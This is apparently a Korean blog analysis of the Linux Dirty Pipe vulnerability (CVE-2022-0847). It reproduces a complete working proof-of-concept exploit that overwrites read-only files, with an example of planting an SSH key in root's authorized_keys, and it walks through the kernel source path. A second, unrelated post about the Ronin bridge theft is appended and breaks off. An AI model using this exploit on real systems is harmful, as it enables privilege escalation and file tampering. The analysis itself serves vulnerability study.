+ buf->page = page;
+ buf->offset = 0;
+ buf->len = min_t(ssize_t, left, PAGE_SIZE);
+
취약점 패치 내용을 보면, struct pipe_buffer 오브젝트를 새로운 내용으로 초기화 해주는 과정에서 flags 필드를 초기화 안해주면서 발생하는 것으로 보인다. published disclosure를 보면 flags가 이전에 초기화 된PIPE_BUF_FLAG_CAN_MERGE가 존재해서 파일을 덮을 수 있다고 나와있다.
+ +...
+if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
+ offset + chars <= PAGE_SIZE) {
+ ret = pipe_buf_confirm(pipe, buf);
+ if (ret)
+ goto out;
+
+ ret = copy_page_from_iter(buf->page, offset, chars, from);
+ if (unlikely(ret < chars)) {
+ ret = -EFAULT;
+ goto out;
+ }
+
+ buf->len += ret;
+ if (!iov_iter_count(from))
+ goto out;
+ }
+ }
+...
+
PIPE_BUF_FLAG_CAN_MERGE는 위 코드와 같이 pipe_write 함수에서만 사용되고, struct pipe_buffer 오브젝트에 있는 page를 맵핑하고 우리가 전달한 데이터를 write하는걸 볼 수 있다. (copy_page_from_iter 함수 내부에서) 그럼 buf→page가 어디선가 읽기 위한 page가 될 수 있다는 생각을 할 수 있다.
+ +/* SPDX-License-Identifier: GPL-2.0 */
+/*
+ * Copyright 2022 CM4all GmbH / IONOS SE
+ *
+ * author: Max Kellermann <max.kellermann@ionos.com>
+ *
+ * Proof-of-concept exploit for the Dirty Pipe
+ * vulnerability (CVE-2022-0847) caused by an uninitialized
+ * "pipe_buffer.flags" variable. It demonstrates how to overwrite any
+ * file contents in the page cache, even if the file is not permitted
+ * to be written, immutable or on a read-only mount.
+ *
+ * This exploit requires Linux 5.8 or later; the code path was made
+ * reachable by commit f6dd975583bd ("pipe: merge
+ * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
+ * there before, it just provided an easy way to exploit it.
+ *
+ * There are two major limitations of this exploit: the offset cannot
+ * be on a page boundary (it needs to write one byte before the offset
+ * to add a reference to this page to the pipe), and the write cannot
+ * cross a page boundary.
+ *
+ * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
+ *
+ * Further explanation: https://dirtypipe.cm4all.com/
+ */
+
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/user.h>
+
+#ifndef PAGE_SIZE
+#define PAGE_SIZE 4096
+#endif
+
+/**
+ * Create a pipe where all "bufs" on the pipe_inode_info ring have the
+ * PIPE_BUF_FLAG_CAN_MERGE flag set.
+ */
+static void prepare_pipe(int p[2])
+{
+ if (pipe(p)) abort();
+
+ const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
+ static char buffer[4096];
+
+ /* fill the pipe completely; each pipe_buffer will now have
+ the PIPE_BUF_FLAG_CAN_MERGE flag */
+ for (unsigned r = pipe_size; r > 0;) {
+ unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
+ write(p[1], buffer, n);
+ r -= n;
+ }
+
+ /* drain the pipe, freeing all pipe_buffer instances (but
+ leaving the flags initialized) */
+ for (unsigned r = pipe_size; r > 0;) {
+ unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
+ read(p[0], buffer, n);
+ r -= n;
+ }
+
+ /* the pipe is now empty, and if somebody adds a new
+ pipe_buffer without initializing its "flags", the buffer
+ will be mergeable */
+}
+
+int main(int argc, char **argv)
+{
+ if (argc != 4) {
+ fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
+ return EXIT_FAILURE;
+ }
+
+ /* dumb command-line argument parser */
+ const char *const path = argv[1];
+ loff_t offset = strtoul(argv[2], NULL, 0);
+ const char *const data = argv[3];
+ const size_t data_size = strlen(data);
+
+ if (offset % PAGE_SIZE == 0) {
+ fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
+ return EXIT_FAILURE;
+ }
+
+ const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
+ const loff_t end_offset = offset + (loff_t)data_size;
+ if (end_offset > next_page) {
+ fprintf(stderr, "Sorry, cannot write across a page boundary\n");
+ return EXIT_FAILURE;
+ }
+
+ /* open the input file and validate the specified offset */
+ const int fd = open(path, O_RDONLY); // yes, read-only! :-)
+ if (fd < 0) {
+ perror("open failed");
+ return EXIT_FAILURE;
+ }
+
+ struct stat st;
+ if (fstat(fd, &st)) {
+ perror("stat failed");
+ return EXIT_FAILURE;
+ }
+
+ if (offset > st.st_size) {
+ fprintf(stderr, "Offset is not inside the file\n");
+ return EXIT_FAILURE;
+ }
+
+ if (end_offset > st.st_size) {
+ fprintf(stderr, "Sorry, cannot enlarge the file\n");
+ return EXIT_FAILURE;
+ }
+
+ /* create the pipe with all flags initialized with
+ PIPE_BUF_FLAG_CAN_MERGE */
+ int p[2];
+ prepare_pipe(p);
+
+ /* splice one byte from before the specified offset into the
+ pipe; this will add a reference to the page cache, but
+ since copy_page_to_iter_pipe() does not initialize the
+ "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
+ --offset;
+ ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
+ if (nbytes < 0) {
+ perror("splice failed");
+ return EXIT_FAILURE;
+ }
+ if (nbytes == 0) {
+ fprintf(stderr, "short splice\n");
+ return EXIT_FAILURE;
+ }
+
+ /* the following write will not create a new pipe_buffer, but
+ will instead write into the page cache, because of the
+ PIPE_BUF_FLAG_CAN_MERGE flag */
+ nbytes = write(p[1], data, data_size);
+ if (nbytes < 0) {
+ perror("write failed");
+ return EXIT_FAILURE;
+ }
+ if ((size_t)nbytes < data_size) {
+ fprintf(stderr, "short write\n");
+ return EXIT_FAILURE;
+ }
+
+ printf("It worked!\n");
+ return EXIT_SUCCESS;
+}
+
간단하게 read only 파일을 수정하는 PoC 코드이다. 위 코드에서 pipe 관련 함수와, splice라는 함수만 사용하고, PoC를 이해하기 위해 사용되는 함수들을 간단하게 알아보자
+ +#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+
+int main()
+{
+ int pipe_fds[2];
+ char out[100] = {0,};
+ pipe(pipe_fds);
+ write(pipe_fds[1], "asd", 3);
+ read(pipe_fds[0], out, 3);
+ printf("out : %s\n", out);
+ printf("hello world\n");
+ return 0;
+}
+jack@seonunghardt:~/dirtypipe$ ./pipe
+out : asd
+hello world
+
pipe는 위 예제 코드와 같이 사용자가 데이터를 따로 저장하지 않고 FIFO 형식으로 데이터를 주고 받기 위한 서비스다. 간단하게 커널에서 어떻게 동작하는지 알아보자.
+ +static ssize_t
+pipe_write(struct kiocb *iocb, struct iov_iter *from)
+{
+ ...
+ if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
+ unsigned int mask = pipe->ring_size - 1;
+ struct pipe_buffer *buf = &pipe->bufs[head & mask];
+ struct page *page = pipe->tmp_page;
+ int copied;
+
+ if (!page) {
+ page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
+ if (unlikely(!page)) {
+ ret = ret ? : -ENOMEM;
+ break;
+ }
+ pipe->tmp_page = page;
+ }
+
+ /* Allocate a slot in the ring in advance and attach an
+ * empty buffer. If we fault or otherwise fail to use
+ * it, either the reader will consume it or it'll still
+ * be there for the next write.
+ */
+ spin_lock_irq(&pipe->rd_wait.lock);
+
+ head = pipe->head;
+ if (pipe_full(head, pipe->tail, pipe->max_usage)) {
+ spin_unlock_irq(&pipe->rd_wait.lock);
+ continue;
+ }
+
+ pipe->head = head + 1;
+ spin_unlock_irq(&pipe->rd_wait.lock);
+
+ /* Insert it into the buffer array */
+ buf = &pipe->bufs[head & mask];
+ buf->page = page;
+ buf->ops = &anon_pipe_buf_ops;
+ buf->offset = 0;
+ buf->len = 0;
+ if (is_packetized(filp))
+ buf->flags = PIPE_BUF_FLAG_PACKET;
+ else
+ buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
+ pipe->tmp_page = NULL;
+
+ copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
+ if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) {
+ if (!ret)
+ ret = -EFAULT;
+ break;
+ }
+...
+
pipe에 데이터를 write하면 pipe_write 함수가 호출된다.(create_pipe_files, pipefifo_fops 참고해주세요.) pipe_write 함수는 새로운 page를 할당해서 struct pipe_buffer 오브젝트에 넣고, copy_page_from_iter 함수에서 page를 맵핑하고 우리가 전달한 데이터를 쓴다.
+ +if (!pipe_empty(head, tail)) {
+ struct pipe_buffer *buf = &pipe->bufs[tail & mask];
+ size_t chars = buf->len;
+ size_t written;
+ int error;
+
+ if (chars > total_len) {
+ if (buf->flags & PIPE_BUF_FLAG_WHOLE) {
+ if (ret == 0)
+ ret = -ENOBUFS;
+ break;
+ }
+ chars = total_len;
+ }
+
+ error = pipe_buf_confirm(pipe, buf);
+ if (error) {
+ if (!ret)
+ ret = error;
+ break;
+ }
+
+ written = copy_page_to_iter(buf->page, buf->offset, chars, to);
+ if (unlikely(written < chars)) {
+ if (!ret)
+ ret = -EFAULT;
+ break;
+ }
+
pipe를 read하면, pipe_read 함수가 호출되는데, pipe_write 함수에서 할당한 page로부터 데이터를 읽어온다.
+ +정리해보자면, pipe는 커널에서 만든 페이지에 데이터를 쓰고 읽으며 동작한다.
+ +다음으로 splice 함수를 봐보자.
+ +ssize_t splice(int fd_in, off64_t *off_in, int fd_out, off64_t *off_out, size_t len, unsigned int flags);
+
splice 함수는 두개의 파일 디스크립터를 받아서 데이터를 복사해주는 함수이고, 위 프로토타입과 같이 fd_in에 전달한 파일 디스크립터의 내용을 fd_out로 len만큼 데이터를 복사한다.
+ +ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
+
PoC에서 splice 함수를 호출 할 때 fd_in에 write하고 싶은 파일 디스크립터(읽기만 가능한)를 전달하고, fd_out에 pipe 파일 디스크립터를 전달한다. 커널에서 splice 함수가 어떻게 데이터를 복사하게 되는지, 이 과정에서 buf→page에 추후 읽게 되는 파일의 page가 들어가게 되는지 간단하게 봐보자.
+ +SYSCALL_DEFINE6(splice, int, fd_in, loff_t __user *, off_in,
+ int, fd_out, loff_t __user *, off_out,
+ size_t, len, unsigned int, flags)
+{
+ struct fd in, out;
+ long error;
+
+ if (unlikely(!len))
+ return 0;
+
+ if (unlikely(flags & ~SPLICE_F_ALL))
+ return -EINVAL;
+
+ error = -EBADF;
+ in = fdget(fd_in);
+ if (in.file) {
+ out = fdget(fd_out);
+ if (out.file) {
+ error = __do_splice(in.file, off_in, out.file, off_out,
+ len, flags);
+ fdput(out);
+ }
+ fdput(in);
+ }
+ return error;
+}
+
splice 함수에 전달 된 2개의 파일 디스크립터로 file 오브젝트를 구하고 __do_splice 함수로 전달한다.
+ +static long __do_splice(struct file *in, loff_t __user *off_in,
+ struct file *out, loff_t __user *off_out,
+ size_t len, unsigned int flags)
+{
+ struct pipe_inode_info *ipipe;
+ struct pipe_inode_info *opipe;
+ loff_t offset, *__off_in = NULL, *__off_out = NULL;
+ long ret;
+
+ ipipe = get_pipe_info(in, true);
+ opipe = get_pipe_info(out, true);
+
+ if (ipipe && off_in)
+ return -ESPIPE;
+ if (opipe && off_out)
+ return -ESPIPE;
+
+ if (off_out) {
+ if (copy_from_user(&offset, off_out, sizeof(loff_t)))
+ return -EFAULT;
+ __off_out = &offset;
+ }
+ if (off_in) {
+ if (copy_from_user(&offset, off_in, sizeof(loff_t)))
+ return -EFAULT;
+ __off_in = &offset;
+ }
+
+ ret = do_splice(in, __off_in, out, __off_out, len, flags);
+ if (ret < 0)
+ return ret;
+
+ if (__off_out && copy_to_user(off_out, __off_out, sizeof(loff_t)))
+ return -EFAULT;
+ if (__off_in && copy_to_user(off_in, __off_in, sizeof(loff_t)))
+ return -EFAULT;
+
+ return ret;
+}
+
전달 된 file 오브젝트로부터 pipe_inode_info를 구해와서 기타 인자와 함께 검증하고 _splice 함수를 호출한다.
+ +long do_splice(struct file *in, loff_t *off_in, struct file *out,
+ loff_t *off_out, size_t len, unsigned int flags)
+{
+ struct pipe_inode_info *ipipe;
+ struct pipe_inode_info *opipe;
+ loff_t offset;
+ long ret;
+
+ if (unlikely(!(in->f_mode & FMODE_READ) ||
+ !(out->f_mode & FMODE_WRITE)))
+ return -EBADF;
+
+ ipipe = get_pipe_info(in, true);
+ opipe = get_pipe_info(out, true);
+
+ if (ipipe && opipe) {
+ if (off_in || off_out)
+ return -ESPIPE;
+
+ /* Splicing to self would be fun, but... */
+ if (ipipe == opipe)
+ return -EINVAL;
+
+ if ((in->f_flags | out->f_flags) & O_NONBLOCK)
+ flags |= SPLICE_F_NONBLOCK;
+
+ return splice_pipe_to_pipe(ipipe, opipe, len, flags);
+ }
+
+ if (ipipe) {
+ if (off_in)
+ return -ESPIPE;
+ if (off_out) {
+ if (!(out->f_mode & FMODE_PWRITE))
+ return -EINVAL;
+ offset = *off_out;
+ } else {
+ offset = out->f_pos;
+ }
+
+ if (unlikely(out->f_flags & O_APPEND))
+ return -EINVAL;
+
+ ret = rw_verify_area(WRITE, out, &offset, len);
+ if (unlikely(ret < 0))
+ return ret;
+
+ if (in->f_flags & O_NONBLOCK)
+ flags |= SPLICE_F_NONBLOCK;
+
+ file_start_write(out);
+ ret = do_splice_from(ipipe, out, &offset, len, flags);
+ file_end_write(out);
+
+ if (!off_out)
+ out->f_pos = offset;
+ else
+ *off_out = offset;
+
+ return ret;
+ }
+
+ if (opipe) {
+ if (off_out)
+ return -ESPIPE;
+ if (off_in) {
+ if (!(in->f_mode & FMODE_PREAD))
+ return -EINVAL;
+ offset = *off_in;
+ } else {
+ offset = in->f_pos;
+ }
+
+ if (out->f_flags & O_NONBLOCK)
+ flags |= SPLICE_F_NONBLOCK;
+
+ ret = splice_file_to_pipe(in, opipe, &offset, len, flags);
+ if (!off_in)
+ in->f_pos = offset;
+ else
+ *off_in = offset;
+
+ return ret;
+ }
+
+ return -EINVAL;
+}
+
파일 디스크립터에 대한 여러가지 검사 후, 타입에 따라 하위 함수를 호출하게 되는데, PoC 코드에서 fd_in을 pipe 파일 디스크립터가 아닌 것으로, fd_out을 pipe 파일 디스크립터로 전달했기 때문에 splice_file_to_pipe 함수가 호출 된다.
+ +long splice_file_to_pipe(struct file *in,
+ struct pipe_inode_info *opipe,
+ loff_t *offset,
+ size_t len, unsigned int flags)
+{
+ long ret;
+
+ pipe_lock(opipe);
+ ret = wait_for_space(opipe, flags);
+ if (!ret)
+ ret = do_splice_to(in, offset, opipe, len, flags);
+ pipe_unlock(opipe);
+ if (ret > 0)
+ wakeup_pipe_readers(opipe);
+ return ret;
+}
+
splice_file_to_pipe 함수는 pipe_inode_info 오브젝트에 대한 검사와 do_splice_to 함수를 호출한다.
+ +static long do_splice_to(struct file *in, loff_t *ppos,
+ struct pipe_inode_info *pipe, size_t len,
+ unsigned int flags)
+{
+ unsigned int p_space;
+ int ret;
+
+ if (unlikely(!(in->f_mode & FMODE_READ)))
+ return -EBADF;
+
+ /* Don't try to read more the pipe has space for. */
+ p_space = pipe->max_usage - pipe_occupancy(pipe->head, pipe->tail);
+ len = min_t(size_t, len, p_space << PAGE_SHIFT);
+
+ ret = rw_verify_area(READ, in, ppos, len);
+ if (unlikely(ret < 0))
+ return ret;
+
+ if (unlikely(len > MAX_RW_COUNT))
+ len = MAX_RW_COUNT;
+
+ if (unlikely(!in->f_op->splice_read))
+ return warn_unsupported(in, "read");
+ return in->f_op->splice_read(in, ppos, pipe, len, flags);
+}
+
또 다른 검사와 fd_in으로 전달 한 파일 디스크립터 fops에 등록된 splice_read함수를 실행한다.
+ +ssize_t generic_file_splice_read(struct file *in, loff_t *ppos,
+ struct pipe_inode_info *pipe, size_t len,
+ unsigned int flags)
+{
+ struct iov_iter to;
+ struct kiocb kiocb;
+ unsigned int i_head;
+ int ret;
+
+ iov_iter_pipe(&to, READ, pipe, len);
+ i_head = to.head;
+ init_sync_kiocb(&kiocb, in);
+ kiocb.ki_pos = *ppos;
+ ret = call_read_iter(in, &kiocb, &to);
+ if (ret > 0) {
+ *ppos = kiocb.ki_pos;
+ file_accessed(in);
+ } else if (ret < 0) {
+ to.head = i_head;
+ to.iov_offset = 0;
+ iov_iter_advance(&to, 0); /* to free what was emitted */
+ /*
+ * callers of ->splice_read() expect -EAGAIN on
+ * "can't put anything in there", rather than -EFAULT.
+ */
+ if (ret == -EFAULT)
+ ret = -EAGAIN;
+ }
+
+ return ret;
+}
+
socket, trace쪽이 아니라면 일반적으로 generic_file_read_iter 함수가 호출된다. 읽고 쓰기 위한 파일 디스크립터 정보들을 struct iov_iter와 struct kiocb에 초기화 해주고 call_read_iter 함수를 호출한다.
+ +static inline ssize_t call_read_iter(struct file *file, struct kiocb *kio,
+ struct iov_iter *iter)
+{
+ return file->f_op->read_iter(kio, iter);
+}
+
read_iter 함수를 호출하는데 파일 시스템마다 다르지만 일반적으로는 generic_file_read_iter 함수를 호출한다.
+ +ssize_t filemap_read(struct kiocb *iocb, struct iov_iter *iter,
+ ssize_t already_read)
+{
+ struct file *filp = iocb->ki_filp;
+ struct file_ra_state *ra = &filp->f_ra;
+ struct address_space *mapping = filp->f_mapping;
+ struct inode *inode = mapping->host;
+ struct folio_batch fbatch;
+ int i, error = 0;
+ bool writably_mapped;
+ loff_t isize, end_offset;
+
+ if (unlikely(iocb->ki_pos >= inode->i_sb->s_maxbytes))
+ return 0;
+ if (unlikely(!iov_iter_count(iter)))
+ return 0;
+
+ iov_iter_truncate(iter, inode->i_sb->s_maxbytes);
+ folio_batch_init(&fbatch);
+
+ do {
+ cond_resched();
+
+ /*
+ * If we've already successfully copied some data, then we
+ * can no longer safely return -EIOCBQUEUED. Hence mark
+ * an async read NOWAIT at that point.
+ */
+ if ((iocb->ki_flags & IOCB_WAITQ) && already_read)
+ iocb->ki_flags |= IOCB_NOWAIT;
+
+ if (unlikely(iocb->ki_pos >= i_size_read(inode)))
+ break;
+
+ error = filemap_get_pages(iocb, iter, &fbatch);
+ if (error < 0)
+ break;
+
+ /*
+ * i_size must be checked after we know the pages are Uptodate.
+ *
+ * Checking i_size after the check allows us to calculate
+ * the correct value for "nr", which means the zero-filled
+ * part of the page is not copied back to userspace (unless
+ * another truncate extends the file - this is desired though).
+ */
+ isize = i_size_read(inode);
+ if (unlikely(iocb->ki_pos >= isize))
+ goto put_folios;
+ end_offset = min_t(loff_t, isize, iocb->ki_pos + iter->count);
+
+ /*
+ * Once we start copying data, we don't want to be touching any
+ * cachelines that might be contended:
+ */
+ writably_mapped = mapping_writably_mapped(mapping);
+
+ /*
+ * When a sequential read accesses a page several times, only
+ * mark it as accessed the first time.
+ */
+ if (iocb->ki_pos >> PAGE_SHIFT !=
+ ra->prev_pos >> PAGE_SHIFT)
+ folio_mark_accessed(fbatch.folios[0]);
+
+ for (i = 0; i < folio_batch_count(&fbatch); i++) {
+ struct folio *folio = fbatch.folios[i];
+ size_t fsize = folio_size(folio);
+ size_t offset = iocb->ki_pos & (fsize - 1);
+ size_t bytes = min_t(loff_t, end_offset - iocb->ki_pos,
+ fsize - offset);
+ size_t copied;
+
+ if (end_offset < folio_pos(folio))
+ break;
+ if (i > 0)
+ folio_mark_accessed(folio);
+ /*
+ * If users can be writing to this folio using arbitrary
+ * virtual addresses, take care of potential aliasing
+ * before reading the folio on the kernel side.
+ */
+ if (writably_mapped)
+ flush_dcache_folio(folio);
+
+ copied = copy_folio_to_iter(folio, offset, bytes, iter);
+
+ already_read += copied;
+ iocb->ki_pos += copied;
+ ra->prev_pos = iocb->ki_pos;
+
+ if (copied < bytes) {
+ error = -EFAULT;
+ break;
+ }
+ }
+put_folios:
+ for (i = 0; i < folio_batch_count(&fbatch); i++)
+ folio_put(fbatch.folios[i]);
+ folio_batch_init(&fbatch);
+ } while (iov_iter_count(iter) && iocb->ki_pos < isize && !error);
+
+ file_accessed(filp);
+
+ return already_read ? already_read : error;
+}
+
generic_file_read_iter 함수는 filemap_read 함수를 호출한다. 이 함수에서는 splice 함수의 핵심인 파일을 읽고 복사를 한다. 여기서 page cache 개념을 짚고 넘어가야한다. 운영체계에서 cpu가 디스크 I/O 작업을 하면서 직접적으로 디스크에 access 할 때 오버헤드가 크기 때문에 디스크의 내용을 읽어 page cache에다가 저장해두고 다음에 읽을 때 page cache로 부터 내용을 읽어온다. filemap_read 함수는 page cache로부터 내용을 읽어오고 정확히는 filemap_get_pages에서 page cache의 folio를 fbatch에 담아온다. 만약에 page cache가 없다면 다음 reader를 위해 folio를 할당해서 page cache에다가 추가하는 과정도 함께 있다.
+ +위 코드가 구조적으로 왜 존재하는지, page cache과 folio에 관한 자세한 내용은 아래 레퍼런스를 참고해주세요.
+ +static inline size_t copy_folio_to_iter(struct folio *folio, size_t offset,
+ size_t bytes, struct iov_iter *i)
+{
+ return copy_page_to_iter(&folio->page, offset, bytes, i);
+}
+
page cache를 copy_page_to_iter 함수에 전달한다.
+ +size_t copy_page_to_iter(struct page *page, size_t offset, size_t bytes,
+ struct iov_iter *i)
+{
+ size_t res = 0;
+ if (unlikely(!page_copy_sane(page, offset, bytes)))
+ return 0;
+ page += offset / PAGE_SIZE; // first subpage
+ offset %= PAGE_SIZE;
+ while (1) {
+ size_t n = __copy_page_to_iter(page, offset,
+ min(bytes, (size_t)PAGE_SIZE - offset), i);
+ res += n;
+ bytes -= n;
+ if (!bytes || !n)
+ break;
+ offset += n;
+ if (offset == PAGE_SIZE) {
+ page++;
+ offset = 0;
+ }
+ }
+ return res;
+}
+
static size_t __copy_page_to_iter(struct page *page, size_t offset, size_t bytes,
+ struct iov_iter *i)
+{
+ if (likely(iter_is_iovec(i)))
+ return copy_page_to_iter_iovec(page, offset, bytes, i);
+ if (iov_iter_is_bvec(i) || iov_iter_is_kvec(i) || iov_iter_is_xarray(i)) {
+ void *kaddr = kmap_local_page(page);
+ size_t wanted = _copy_to_iter(kaddr + offset, bytes, i);
+ kunmap_local(kaddr);
+ return wanted;
+ }
+ if (iov_iter_is_pipe(i))
+ return copy_page_to_iter_pipe(page, offset, bytes, i);
+ if (unlikely(iov_iter_is_discard(i))) {
+ if (unlikely(i->count < bytes))
+ bytes = i->count;
+ i->count -= bytes;
+ return bytes;
+ }
+ WARN_ON(1);
+ return 0;
+}
+
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
+ struct iov_iter *i)
+{
+ struct pipe_inode_info *pipe = i->pipe;
+ struct pipe_buffer *buf;
+ unsigned int p_tail = pipe->tail;
+ unsigned int p_mask = pipe->ring_size - 1;
+ unsigned int i_head = i->head;
+ size_t off;
+
+ if (unlikely(bytes > i->count))
+ bytes = i->count;
+
+ if (unlikely(!bytes))
+ return 0;
+
+ if (!sanity(i))
+ return 0;
+
+ off = i->iov_offset;
+ buf = &pipe->bufs[i_head & p_mask];
+ if (off) {
+ if (offset == off && buf->page == page) {
+ /* merge with the last one */
+ buf->len += bytes;
+ i->iov_offset += bytes;
+ goto out;
+ }
+ i_head++;
+ buf = &pipe->bufs[i_head & p_mask];
+ }
+ if (pipe_full(i_head, p_tail, pipe->max_usage))
+ return 0;
+
+ buf->ops = &page_cache_pipe_buf_ops;
+ get_page(page);
+ buf->page = page;
+ buf->offset = offset;
+ buf->len = bytes;
+
+ pipe->head = i_head + 1;
+ i->iov_offset = offset + bytes;
+ i->head = i_head;
+out:
+ i->count -= bytes;
+ return bytes;
+}
+
copy_page_to_iter -> __copy_page_to_iter -> copy_page_to_iter_pipe 순으로 copy_page_to_iter_pipe 함수가(취약점이 패치 된) 호출되고, 우리가 읽고자하는 파일의 page cache가 struct pipe_buffer 오브젝트에 초기화 된다. 이 때 기존에 PIPE_BUF_FLAG_CAN_MERGE와 함께 초기화 된 struct pipe_buffer 오브젝트가 있다면 buf→flags를 초기화 하지 않기 때문에 buf→page에 들어오는 어떤 page든 우리의 데이터를 쓸 수 있게 되는 것이다. (이 때 page cache가 초기화 됨)
+ +취약점을 트리거 하기 위한 copy_page_to_iter_pipe 함수는 아래 순서와 같이 호출된다.
+ +splice -> __do_splice -> do_splice -> splice_file_to_pipe -> do_splice_to -> generic_file_splice_read -> call_read_iter -> generic_file_read_iter -> filemap_read -> copy_folio_to_iter -> copy_page_to_iter -> __copy_page_to_iter -> copy_page_to_iter_pipe
+ +static ssize_t
+pipe_write(struct kiocb *iocb, struct iov_iter *from)
+{
+ struct file *filp = iocb->ki_filp;
+ struct pipe_inode_info *pipe = filp->private_data;
+ unsigned int head;
+ ssize_t ret = 0;
+ size_t total_len = iov_iter_count(from);
+ ssize_t chars;
+ bool was_empty = false;
+ bool wake_next_writer = false;
+
+ ...
+
+ head = pipe->head;
+ was_empty = pipe_empty(head, pipe->tail);
+ chars = total_len & (PAGE_SIZE-1);
+ if (chars && !was_empty) {
+ unsigned int mask = pipe->ring_size - 1;
+ struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
+ int offset = buf->offset + buf->len;
+
+ if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
+ offset + chars <= PAGE_SIZE) {
+ ret = pipe_buf_confirm(pipe, buf);
+ if (ret)
+ goto out;
+
+ ret = copy_page_from_iter(buf->page, offset, chars, from);
+ if (unlikely(ret < chars)) {
+ ret = -EFAULT;
+ goto out;
+ }
+
+ buf->len += ret;
+ if (!iov_iter_count(from))
+ goto out;
+ }
+ }
+
+ ...
+}
+
최종적으로 pipe_write 함수를 호출하면, buf->flags & PIPE_BUF_FLAG_CAN_MERGE를 통과하고 copy_page_from_iter 함수 호출과 함께 buf→page에 있는 page cache가 우리의 데이터로 덮히게 된다. 다시 똑같은 파일을 읽게 된다면, 우리가 수정한 내용이 담겨있는 page cache를 읽게된다.
+ +Ethereum의 side-chain인 ‘Ronin Network’가 해킹을 당해 6억1500만달러(약 7400억원) 규모의 Ethereum이 탈취된 사건이 최근 알려졌다. 이 글에서는 Ronin Network가 무엇인지 알아보고 어떤 요소때문에 자금이 유출된건지, 대응은 어떻게 하고있는지에 대해서 알아본다
+ +유명인기게임 “Axie Infinity”를 개발한 베트남의 “Sky mavis”라는 회사에서 Ethereum Network의 높은 수수료와 낮은 처리속도를 보완하기 위한 Side chain으로 등장했다.
+ +사이드체인은 서로 다른 블록체인들 위에 존재하는 자산들을 쉽게 거래할 수 있도록 하는 기술이다. +만약 모든 데이터를 Main Chain의 노드 안에 넣어 처리한다면 노드의 처리속도를 점점 느리게할 것이며, Main Chain에서 점점 많아지는 노드의 수로 인해서 발생하는 합의시간의 증가는 메인체인에서의 많은 문제점을 야기할 것이다..
+ +TPS는 점점 느려질 수 밖에 없고 수수료의 값은 점점 올라가게 되는 것이다.
+ +이러한 문제로 암호화폐의 상용성에 대해 많은 문제제기를 하게 되고 이에 대한 해결책으로 사이드체인이 등장하게 되었다.
+ +Main Chain에 있는 자산을 Side Chain으로 옮겨 Transaction을 처리한다.
+ +Side Chain에서 복수의 Transaction이 모두 끝나면 다시 중요한 정보만을 Main Chain로 보내주고 저장함으로써 Transaction을 상당히 간소화시킬 수 있다.
+ +즉, Main Chain에서 모든 Transaction을 처리하는 것이 아니라 Side Chain이 Main Chain이 할 일을 나누어 도와주는 것이라고 할 수 있다.
+ +++ +The Ronin bridge has been exploited for 173,600 Ethereum and 25.5M USDC. The Ronin bridge and Katana Dex have been halted. +(Twitter @Ronin_Network)
+
위의 트윗 내용에 따르면 173,600 Ethereum과 25.5M USDC가 유출되었다고 하며, 이를 확인한 즉시 Ronin Bridge와 Katana Dex는 운영을 중단했다고 한다.
+ +다소 놀라운 것은 Ronin Bridge에서 자금이 유출되고 6일이 경과한 후에 일반 사용자가 자신의 자산을 출금하지 못한다는 문의로 인해 사고의 발생을 알게된 것이다.
+ +Ronin network는 Ethereum network의 side chain으로써 기본적으로 Ethereum network에서 발생하는 다량의 transaction을 Ethereum network보다 비교적 속도가 빠르고 낮은 수수료를 소비하는 Ronin network에서 처리하고 그 결과만을 Ethereum network에 반영한다.
+ +이러한 과정 중에 서로 다른 network로부터 오고가는 transaction의 유효성을 검증하기 위해서 validator라는 요소를 두게 된다.
+ + + +위 사진은 블록체인 트릴레마라고 불리우는 난제이며, 모든 블록체인 네트워크에서 위 사진의 3가지를 효과적으로 해결할 수 있는 것을 목표로 하고 있다.
+ +Ronin network에서 validator의 수를 결정할 때 블록체인 트릴레마에 대한 것을 생각해보면 Security와 Scalability는 trade-off관계임을 알 수 있다.
+ +validator의 수를 많이 두자니 보안이 향상될 것이나 성능이 저하될 것이고, validator의 수를 적게 두자니 성능이 향상될 것이나 성능이 저하될 것이다.
+ +이러한 이유로 인해서 Ronin network에서는 어느정도 보안을 포기하고 성능을 챙기려고 했던건지 validator의 수를 적게 둔 것이 취약점의 시발점이었다.
+ +보안사고가 터진 것을 인식하기 전 Ronin network는 총 9개의 validator로 구성되어있었고, 5개의 validator 이상이 승인하면 유효한 transaction으로 승인되었다.
+ +여기서 공격자는 validator 4개의 private key를 갖고있었고 특정 방법(?, Ronin network의 rpc node를 통해 axie dao 소유의 validator private key에 접근할 수 있는 백도어가 있었다고하는데 정확한 보고서나 직접 확인을 하기 위한 RPC Node 주소가 공개되어있지 않은듯함.)으로 인해서 Axie DAO가 운영하는 validator의 private key를 얻을 수 있었으며, 이를 악용하여 Ronin network에서는 실제로 자산이 없는데 자산이 있는 것처럼 속여 Ethereum network로 transaction을 보냈다.
+ +Ethereum network에 존재하는 Ronin Network Contract는 이를 정상적인 transaction으로 인식하여 지정된 수신자에게 +173,600 Ethereum과 25.5M USDC를 송신했다.
+ +Ronin Network에서 자금을 유출하기 위해서 사용한 validator의 주소는 다음과 같다.
